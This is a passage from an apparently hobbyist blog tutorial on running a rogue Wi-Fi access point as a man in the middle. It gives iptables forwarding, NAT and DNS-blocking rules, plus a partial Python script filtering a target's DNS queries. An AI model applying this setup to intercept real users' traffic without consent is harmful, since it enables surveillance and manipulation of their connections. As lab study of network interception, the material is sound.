dnsmasq:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.35/20969&lt;span class="w"&gt; &lt;/span&gt;reply&lt;span class="w"&gt; &lt;/span&gt;pool.ntp.org&lt;span class="w"&gt; &lt;/span&gt;is&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;162&lt;/span&gt;.159.200.123
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/network/fake-ap-dnsmasq-hostapd-mitm/diagram8.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h1 id="route-the-targets-packets"&gt;Route the target’s packets&lt;/h1&gt;
&lt;p&gt;Now that we have the DNS working the target is resolving the domains but the TCP connections fail. Our &lt;em&gt;man in the middle&lt;/em&gt; is not acting as a &lt;em&gt;router&lt;/em&gt; so all the packets not destined to it are dropped.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
The target tries to connect (TCP) but it just doesn’t receive any response back. The problem is that mitm is not acting as a router.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/network/fake-ap-dnsmasq-hostapd-mitm/diagramA2.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;First we need to setup some &lt;em&gt;routes&lt;/em&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;an entry to direct the traffic coming from the target and destined to elsewhere should go to the man in the middle’s gateway&lt;/li&gt;
&lt;li&gt;an entry to direct the traffic back to the targets, but only if it is destined to its network&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These two routes should work:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ip&lt;span class="w"&gt; &lt;/span&gt;route&lt;span class="w"&gt; &lt;/span&gt;show

default&lt;span class="w"&gt; &lt;/span&gt;via&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.0.1&lt;span class="w"&gt; &lt;/span&gt;dev&lt;span class="w"&gt; &lt;/span&gt;wlan0&lt;span class="w"&gt; &lt;/span&gt;proto&lt;span class="w"&gt; &lt;/span&gt;dhcp&lt;span class="w"&gt; &lt;/span&gt;metric&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;600&lt;/span&gt;
&lt;span class="m"&gt;10&lt;/span&gt;.23.0.0/24&lt;span class="w"&gt; &lt;/span&gt;dev&lt;span class="w"&gt; &lt;/span&gt;apmitm&lt;span class="w"&gt; &lt;/span&gt;proto&lt;span class="w"&gt; &lt;/span&gt;kernel&lt;span class="w"&gt; &lt;/span&gt;scope&lt;span class="w"&gt; &lt;/span&gt;link&lt;span class="w"&gt; &lt;/span&gt;src&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But it is not enough. Linux will not forward packets by default: we need to &lt;em&gt;allow&lt;/em&gt; which packets can be forwarded (via &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;iptables&lt;/span&gt;&lt;/code&gt;) and tell the kernel that we want to work as a router (with the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;ip_forward&lt;/span&gt;&lt;/code&gt; variable)&lt;/p&gt;
&lt;h2 id="route-packets-from-the-target"&gt;Route packets from the target&lt;/h2&gt;
&lt;p&gt;&lt;label for='CldpdGggYC1QIEZPUldBUkQgRFJPUGAgd2UgZHJvcCBhbnkgcGFja2V0IHVubGVzcyBpdCBpcyBleHBsaWNpdGx5IGFsbG93ZWQKKHdlIGRvbid0IHdhbnQgdG8gZm9yd2FyZCAqYW55dGhpbmcqKS4KClRoZSBvdGhlciB0d28gcnVsZXMgYWxsb3cgdGhlIGZvcndhcmRpbmcgb25seSBpZiB0aGV5IGNvbWUgZnJvbSB0YXJnZXQncwpuZXR3b3JrIChgLXMgMTAuMjMuMC4wLzI0YCkgYW5kIGZyb20gdGhlIGV4cGVjdGVkIGludGVyZmFjZSAoYC1pCmFwbWl0bWApLgptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CldpdGggYC1QIEZPUldBUkQgRFJPUGAgd2UgZHJvcCBhbnkgcGFja2V0IHVubGVzcyBpdCBpcyBleHBsaWNpdGx5IGFsbG93ZWQKKHdlIGRvbid0IHdhbnQgdG8gZm9yd2FyZCAqYW55dGhpbmcqKS4KClRoZSBvdGhlciB0d28gcnVsZXMgYWxsb3cgdGhlIGZvcndhcmRpbmcgb25seSBpZiB0aGV5IGNvbWUgZnJvbSB0YXJnZXQncwpuZXR3b3JrIChgLXMgMTAuMjMuMC4wLzI0YCkgYW5kIGZyb20gdGhlIGV4cGVjdGVkIGludGVyZmFjZSAoYC1pCmFwbWl0bWApLgptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
With &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;-P&lt;span class="w"&gt; &lt;/span&gt;FORWARD&lt;span class="w"&gt; &lt;/span&gt;DROP&lt;/span&gt;&lt;/code&gt; we drop any packet unless it is explicitly allowed (we don’t want to forward &lt;em&gt;anything&lt;/em&gt;).
&lt;br /&gt;&lt;br /&gt;
The other two rules allow the forwarding only if they come from target’s network (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;-s&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.0/24&lt;/span&gt;&lt;/code&gt;) and from the expected interface (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;-i&lt;span class="w"&gt; &lt;/span&gt;apmitm&lt;/span&gt;&lt;/code&gt;).
&lt;/span&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;iptables&lt;span class="w"&gt; &lt;/span&gt;-P&lt;span class="w"&gt; &lt;/span&gt;FORWARD&lt;span class="w"&gt; &lt;/span&gt;DROP
$&lt;span class="w"&gt; &lt;/span&gt;iptables&lt;span class="w"&gt; &lt;/span&gt;-A&lt;span class="w"&gt; &lt;/span&gt;FORWARD&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.0/24&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;tcp&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;apmitm&lt;span class="w"&gt; &lt;/span&gt;-j&lt;span class="w"&gt; &lt;/span&gt;ACCEPT
$&lt;span class="w"&gt; &lt;/span&gt;iptables&lt;span class="w"&gt; &lt;/span&gt;-A&lt;span class="w"&gt; &lt;/span&gt;FORWARD&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.0/24&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;udp&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;apmitm&lt;span class="w"&gt; &lt;/span&gt;-j&lt;span class="w"&gt; &lt;/span&gt;ACCEPT

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;/proc/sys/net/ipv4/ip_forward
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And this works… almost. While the packets from the target are forwarded to the gateway, it is the gateway now that it is dropping the packets.&lt;/p&gt;
&lt;p&gt;The gateway expects packets from its network &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.0.0/24&lt;/span&gt;&lt;/code&gt; and the packets come from the &lt;strong&gt;other&lt;/strong&gt; network &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.0/24&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/network/fake-ap-dnsmasq-hostapd-mitm/diagramA3.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We need to setup a &lt;em&gt;network address translator&lt;/em&gt; (NAT) to map any outgoing packet from the &lt;em&gt;other&lt;/em&gt; network to the man in the middle’s &lt;em&gt;own&lt;/em&gt; address so the gateway will think that the packets come from us.&lt;/p&gt;
&lt;p&gt;The magic of NAT is that the packets back to us (with our address) will be &lt;em&gt;reverse-mapped&lt;/em&gt; to the original target’s IP.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;iptables&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;nat&lt;span class="w"&gt; &lt;/span&gt;-A&lt;span class="w"&gt; &lt;/span&gt;POSTROUTING&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.0/24&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;wlan0&lt;span class="w"&gt; &lt;/span&gt;-j&lt;span class="w"&gt; &lt;/span&gt;MASQUERADE
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/network/fake-ap-dnsmasq-hostapd-mitm/diagramA4.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="route-packets-to-the-target"&gt;Route packets to the target&lt;/h2&gt;
&lt;p&gt;Finally, we need two more forwarding rules for packets &lt;em&gt;destined&lt;/em&gt; to target’s network:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;iptables&lt;span class="w"&gt; &lt;/span&gt;-A&lt;span class="w"&gt; &lt;/span&gt;FORWARD&lt;span class="w"&gt; &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.0/24&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;tcp&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;wlan0&lt;span class="w"&gt; &lt;/span&gt;-j&lt;span class="w"&gt; &lt;/span&gt;ACCEPT
$&lt;span class="w"&gt; &lt;/span&gt;iptables&lt;span class="w"&gt; &lt;/span&gt;-A&lt;span class="w"&gt; &lt;/span&gt;FORWARD&lt;span class="w"&gt; &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.0/24&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;udp&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;wlan0&lt;span class="w"&gt; &lt;/span&gt;-j&lt;span class="w"&gt; &lt;/span&gt;ACCEPT
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/network/fake-ap-dnsmasq-hostapd-mitm/diagram12.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;But…&lt;/strong&gt;&lt;/p&gt;
&lt;h1 id="ensure-full-control-of-the-dns"&gt;Ensure full control of the DNS&lt;/h1&gt;
&lt;p&gt;There are two subtle problems that I only spotted sniffing with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;wireshark&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the target is issuing DNS queries to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="m"&gt;8&lt;/span&gt;.8.8.8&lt;/span&gt;&lt;/code&gt;. It seems that the target uses it not just as a fallback but as second opinion (aka &lt;em&gt;“I don’t trust in the DNS server offered by the DHCP so I will use mine”&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;the target is also issuing DNS queries of unexpected type. &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;dnsmasq&lt;/span&gt;&lt;/code&gt; has no problem to forward those &lt;em&gt;but&lt;/em&gt; it has not capabilities to block them in anyway (so we loose the control of the DNS responses)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
The target querying &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="m"&gt;8&lt;/span&gt;.8.8.8&lt;/span&gt;&lt;/code&gt;. Why does it work? It is not because &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;dnsmasq&lt;/span&gt;&lt;/code&gt; is forwarding the queries at the DNS layer but because the man in the middle box is forwarding (routing) the UDP packets.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/network/fake-ap-dnsmasq-hostapd-mitm/diagramA6.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Unknown DNS query. Actually is not unknown but my &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;wireshark&lt;/span&gt;&lt;/code&gt; does not know about it. It is used for some https stuff.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/network/fake-ap-dnsmasq-hostapd-mitm/diagramA5.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;So we want two things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;reject any DNS request unless it is sent to our &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;dnsmasq&lt;/span&gt;&lt;/code&gt; (the target will receive ICMP destination unreachable)&lt;/li&gt;
&lt;li&gt;drop any DNS request directed to our &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;dnsmasq&lt;/span&gt;&lt;/code&gt; that it is neither &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;A&lt;/span&gt;&lt;/code&gt; nor &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;AAAA&lt;/span&gt;&lt;/code&gt; types (just we are not responding to those queries)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The reject is just a matter of adding a firewall rule:&lt;/p&gt;
&lt;p&gt;&lt;label for='CkFsdGVybmF0aXZlbHkgeW91IGNvdWxkIHJlZGlyZWN0IHRoZSBwYWNrZXRzIHRvIGBkbnNtYXNxYCBpbnN0ZWFkIG9mCnJlamVjdGluZyB0aGVtLgptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkFsdGVybmF0aXZlbHkgeW91IGNvdWxkIHJlZGlyZWN0IHRoZSBwYWNrZXRzIHRvIGBkbnNtYXNxYCBpbnN0ZWFkIG9mCnJlamVjdGluZyB0aGVtLgptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Alternatively you could redirect the packets to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;dnsmasq&lt;/span&gt;&lt;/code&gt; instead of rejecting them.
&lt;/span&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;iptables&lt;span class="w"&gt; &lt;/span&gt;-A&lt;span class="w"&gt; &lt;/span&gt;FORWARD&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.0/24&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;udp&lt;span class="w"&gt; &lt;/span&gt;--dport&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;53&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;apmitm&lt;span class="w"&gt; &lt;/span&gt;-j&lt;span class="w"&gt; &lt;/span&gt;REJECT
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The drop is much trickier: &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;dnsmasq&lt;/span&gt;&lt;/code&gt; does not have a way to block these types of queries and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;iptables&lt;/span&gt;&lt;/code&gt; works only at the L3 layer and it doesn’t know how to parse DNS.&lt;/p&gt;
&lt;p&gt;Luckily, we can delegate the accept/reject/drop decision to an user application with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;nfqueue&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;iptables&lt;span class="w"&gt; &lt;/span&gt;-A&lt;span class="w"&gt; &lt;/span&gt;INPUT&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.0/24&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;udp&lt;span class="w"&gt; &lt;/span&gt;--dport&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;53&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-j&lt;span class="w"&gt; &lt;/span&gt;NFQUEUE&lt;span class="w"&gt; &lt;/span&gt;--queue-num&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now we need to run a program that reads from that queue and decide if the UDP packet is accepted or dropped.&lt;/p&gt;
&lt;p&gt;&lt;label for='ClRoZSBgaGFuZGxlYCBmdW5jdGlvbiB0YWtlcyBhIHBhY2tldCAqbmYqIG9iamVjdCBhbmQgYnVpbGRzIGEgIGBzY2FweWAgSVAuIFRoZW4sIGlmIGl0IGlzCmEgRE5TIHF1ZXJ5IGFuZCBhbGwgdGhlIHF1ZXN0aW9ucyBhcmUgb2YgdHlwZSBgQWAgb3IgYEFBQUFgLCBhY2NlcHQgdGhlCnBhY2tldDsgb3RoZXJ3aXNlIGRyb3AgaXQuCgpUbyBnZXQgdGhlc2UgKm5mKiBwYWNrZXRzIGZyb20gdGhlIHF1ZXVlIGNyZWF0ZWQgYnkgYGlwdGFibGVzYCwgd2UgdXNlCnRoZSBgTmV0ZmlsdGVyUXVldWVgIHdyYXBwZXI6IHdlIGJpbmQgdG8gdGhlIGBoYW5kbGVgIGZ1bmN0aW9uIHRvIHRoZQpxdWV1ZSBhbmQgd2UgY3JlYXRlIGFuZCBydW4gYSBVTklYIHNvY2tldC4KClRvIG1ha2UgaXQgcnVuIHlvdSBuZWVkIHRvIGluc3RhbGwgZGV2IGxpYnJhcmllcwpgYnVpbGQtZXNzZW50aWFsYCwgYHB5dGhvbjMtZGV2YCBhbmQgYGxpYm5ldGZpbHRlci1xdWV1ZS1kZXZgICh3aXRoIGBhcHQtZ2V0YCkKYW5kIHRoZW4gaW5zdGFsbCB0aGUgUHl0aG9uIHBhY2thZ2VzIGBOZXRmaWx0ZXJRdWV1ZWAgYW5kIGBzY2FweWAgKHdpdGggYHBpcGApCgpUaGVuIHJ1biB0aGUgc2NyaXB0IGFzIHJvb3QuCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoZSBgaGFuZGxlYCBmdW5jdGlvbiB0YWtlcyBhIHBhY2tldCAqbmYqIG9iamVjdCBhbmQgYnVpbGRzIGEgIGBzY2FweWAgSVAuIFRoZW4sIGlmIGl0IGlzCmEgRE5TIHF1ZXJ5IGFuZCBhbGwgdGhlIHF1ZXN0aW9ucyBhcmUgb2YgdHlwZSBgQWAgb3IgYEFBQUFgLCBhY2NlcHQgdGhlCnBhY2tldDsgb3RoZXJ3aXNlIGRyb3AgaXQuCgpUbyBnZXQgdGhlc2UgKm5mKiBwYWNrZXRzIGZyb20gdGhlIHF1ZXVlIGNyZWF0ZWQgYnkgYGlwdGFibGVzYCwgd2UgdXNlCnRoZSBgTmV0ZmlsdGVyUXVldWVgIHdyYXBwZXI6IHdlIGJpbmQgdG8gdGhlIGBoYW5kbGVgIGZ1bmN0aW9uIHRvIHRoZQpxdWV1ZSBhbmQgd2UgY3JlYXRlIGFuZCBydW4gYSBVTklYIHNvY2tldC4KClRvIG1ha2UgaXQgcnVuIHlvdSBuZWVkIHRvIGluc3RhbGwgZGV2IGxpYnJhcmllcwpgYnVpbGQtZXNzZW50aWFsYCwgYHB5dGhvbjMtZGV2YCBhbmQgYGxpYm5ldGZpbHRlci1xdWV1ZS1kZXZgICh3aXRoIGBhcHQtZ2V0YCkKYW5kIHRoZW4gaW5zdGFsbCB0aGUgUHl0aG9uIHBhY2thZ2VzIGBOZXRmaWx0ZXJRdWV1ZWAgYW5kIGBzY2FweWAgKHdpdGggYHBpcGApCgpUaGVuIHJ1biB0aGUgc2NyaXB0IGFzIHJvb3QuCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;handle&lt;/span&gt;&lt;/code&gt; function takes a packet &lt;em&gt;nf&lt;/em&gt; object and builds a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;scapy&lt;/span&gt;&lt;/code&gt; IP. Then, if it is a DNS query and all the questions are of type &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;A&lt;/span&gt;&lt;/code&gt; or &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;AAAA&lt;/span&gt;&lt;/code&gt;, accept the packet; otherwise drop it.
&lt;br /&gt;&lt;br /&gt;
To get these &lt;em&gt;nf&lt;/em&gt; packets from the queue created by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;iptables&lt;/span&gt;&lt;/code&gt;, we use the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;NetfilterQueue&lt;/span&gt;&lt;/code&gt; wrapper: we bind to the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;handle&lt;/span&gt;&lt;/code&gt; function to the queue and we create and run a UNIX socket.
&lt;br /&gt;&lt;br /&gt;
To make it run you need to install dev libraries &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;build-essential&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;python3-dev&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;libnetfilter-queue-dev&lt;/span&gt;&lt;/code&gt; (with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;apt-get&lt;/span&gt;&lt;/code&gt;) and then install the Python packages &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;NetfilterQueue&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;scapy&lt;/span&gt;&lt;/code&gt; (with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;pip&lt;/span&gt;&lt;/code&gt;)
&lt;br /&gt;&lt;br /&gt;
Then run the script as root.
&lt;/span&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;netfilterqueue&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;NetfilterQueue&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;socket&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;scapy.all&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nfpkt&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;pkt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nfpkt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_payload&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

    &lt;span class="c1"&gt;# Check if it&amp;#39;s a DNS query packet (qr=0)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;DNS&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;pkt&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;DNS&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;qr&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;queries&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;DNS&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;qd&lt;/span&gt;

        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;queries&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="c1"&gt;# Check for A (IPv4) and AAAA (IPv6)&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;qtype&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;qtype&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;nfpkt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;drop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt;

        &lt;span class="n"&gt;nfpkt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;accept&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;

    &lt;span class="n"&gt;nfpkt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;drop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt;


&lt;span class="n"&gt;nfqueue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NetfilterQueue&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;nfqueue&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
